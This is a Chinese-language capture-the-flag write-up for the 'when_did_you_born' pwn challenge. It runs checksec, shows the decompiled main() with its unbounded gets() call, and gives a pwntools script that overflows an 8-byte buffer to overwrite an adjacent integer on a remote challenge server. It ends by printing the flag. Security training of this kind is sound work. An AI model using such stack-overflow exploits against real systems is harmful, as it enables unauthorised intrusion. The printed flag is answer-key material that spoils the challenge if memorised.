测试文件:https://adworld.xctf.org.cn/media/task/attachments/24937e95ca4744818feebe82ab96902d
1.准备
root@localhost:~# checksec when_did_you_born [*] '/root/when_did_you_born' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
获取信息:
- 64位文件
- PIE关闭,全局变量随机地址关闭
2.IDA打开
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax char v4; // [rsp+0h] [rbp-20h] unsigned int v5; // [rsp+8h] [rbp-18h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); puts("What's Your Birth?"); __isoc99_scanf("%d", &v5); while ( getchar() != 10 ) ; if ( v5 == 1926 ) { puts("You Cannot Born In 1926!"); result = 0LL; } else { puts("What's Your Name?"); gets(&v4); printf("You Are Born In %d ", v5); if ( v5 == 1926 ) { puts("You Shall Have Flag."); system("cat flag"); } else { puts("You Are Naive."); puts("You Speed One Second Here."); } result = 0LL; } return result; }
这里对输入生日日期进行了两次相同的判断,但是由于第一次判断,影响了第二次flag的输出。
因此我们只需要过了第一次判断之后,在第二次判断前,修改v5=1926就行。
在代码中,v4与v5先后入栈,转到v5存储的地方
v4占8个字节,因此我们可以利用栈溢出,修改下面v5的值。栈溢出文章:https://www.cnblogs.com/ichunqiu/p/11156155.html
3.脚本解密
#-*- coding:utf-8 -*- from pwn import * p = remote('111.198.29.45', 44296) payload = 8 * 'A' + p64(0x786) # 8个'A'填满v4,0x786保存到v5 p.recvuntil("What's Your Birth?") p.sendline(2019) p.recvuntil("What's Your Name?") p.sendline(payload) p.interactive()
4.get flag!
cyberpeace{0edca5bf3831f530c00f5a8f51655816}